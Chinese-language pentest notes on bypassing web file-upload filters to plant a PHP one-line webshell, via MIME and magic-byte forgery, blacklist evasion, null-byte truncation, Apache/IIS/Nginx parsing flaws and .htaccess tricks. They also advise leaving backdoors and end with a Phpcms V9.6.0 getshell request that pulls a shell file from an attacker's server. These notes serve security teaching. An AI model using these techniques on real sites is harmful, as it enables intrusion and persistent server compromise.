测试1:mime-type检测

原理:如上图所示,部分上传功能会根据上传的文件名分配“content-type”字段,如上传gif时,content-type识别成image/gif。若前端存在检查代码看content-type字段是否合法,直接上传php会失败。但是可以先把php一句话木马命名成gif,上传时通过bp改包,将名字修改回php,可以绕过前端检测content-type功能。
测试2:文件头检测

上图罗列了常见图片格式的为文件头16进制数。
png:89 50 4e 47 0d 0a 1a 0a
jpg:ff d8 ff e0 00 10 4a 46
gif:47 49 46 38 39 61
文件头代表了文件本质,修改文件命名不会影响本来的文件头。

如上图,基于文件头检测是某些系统使用php中getimagesize()函数验证上传的图片文件是否为图片文件以及大小时候合规,比如出现在某些能上传照片的功能点中。
绕过:
方法1:
在测试1的基础上(先修改成gif,再在bp改回php)
在请求体的一句话木马之前加上“GIF89a”,伪造成gif格式的文件。(或者上传图片马。图片马制作方法可使用010 editor这类可以修改文件16进制代码的软件,在图片后写上一句话木马。)
方法2:
修改一句话木马的内容,在一句话木马前一行写上6个字符如abcdefg,上传后在bp的hex中修改这6个字符为png的文件头即 89 50 4e 47 0d 0a 1a 0a
方法3:
上传png,在bp修改请求体中的代码,只留下文件头,再加上一句话木马。
测试3:黑白名单验证
黑名单:

黑名单容易漏危险的后缀。
绕过黑名单:
1、大小写混合写。如windows系统下,如果只对php进行拉黑,写成Php可以绕过。但目前很少了。并且有一些系统会执行函数将所有字符转换为小写。
2、利用windows会过滤非法字符的特性,如文件名结尾为.或者空格时,windows会去除,因此上传文件时,使用bp在文件名后面加上一个.或者空格之类的非法字符完成黑名单绕过。
3、%00绕过:
利用条件:
php版本低于5.3.4(目前极少)
php的magic_quotes_gpc为off状态
绕过原理:%00在url编码中时null,也就是结束的意思。在文件名1.php .jpg其中php后是空格,在bp中通过hex将空格的十六进制修改为00,完成截断。

白名单:
1、解析漏洞:
apache解析漏洞:
版本apache1.x以及apche2.x
原理:apche收到请求报文后,解析上传文件按照自从右往左解析,如test.php.aaa.bbb,依然可以被当成php文件执行。
apche之所以将文件名为.php结尾的文件解析成php,是因为apache的mime.types文件中存在键值对关系。
2、配置问题导致解析:
apache的conf文件中addhandler php5.script php //只要后缀有php 都会按照php解析
apache的conf文件中addtype application/x-httpd-php .jpg //会将jpg结尾的文件按照php进行解析。因此在后渗透测试阶段留后门的时候可以进行该操作。
3、 .htaccess文件解析
.htaccess是配置文件的子配置文件,如在upload目录下存在一个.htaccess文件。。对于文件上传漏洞而言,最重要的是.htaccess对于mime类型的修改。
在upload目录下上传一个.htaccess文件,写上addtype application/x-httpd-php .jpg,并且上传以.jpg结尾的一句话木马文件。访问一句话木马文件,.jpg会当成php解析。
4、IIS6.0解析漏洞
目录解析:
存在一个/xxx.asp/xxx.jpg //高亮是一个目录的名称,在该目录下所有文件名都会按照asp进行解析。
5、IIS 7.0 / IIS 7.5 / Nginx 1.x 机畸形解析漏洞(php fast-cgi解析漏洞)
漏洞原理:fast-cgi存在路径修复的特性,如/1.txt/2.png/3.php,如果/1.txt/2.png/3.php不存在就会去掉3.php,判断是否存在/1.txt/2.png,若存在则当成/1.txt/2.png/3.php文件来解析。说白了是上传一个以shell.jpg结尾的一句话木马,但是无法被解析,此时在上传目录url下再加上/xxx.php,由于xxx.php不存在且具有解析漏洞,shell.jpg会被当成php进行解析,结果就是能成功解析php一句话木马。
测试4、编辑器漏洞

漏洞:
漏洞1:Phpcms V9.6.0任意文件写入getshell
修改抓包内容,用户必须属于新注册信息,才会显示报错 siteid=1&modelid=11&&username=hack&password=111111&pwdconfirm=111111&email=hack%40qq.com&nickname=hack&info[content]=<img src=http://192.168.1.65:9000/shell.txt?.php#.jpg>&dosubmit=1&protocol= //标黄为在vps上开启http服务,并且生成一句话木马的php文件。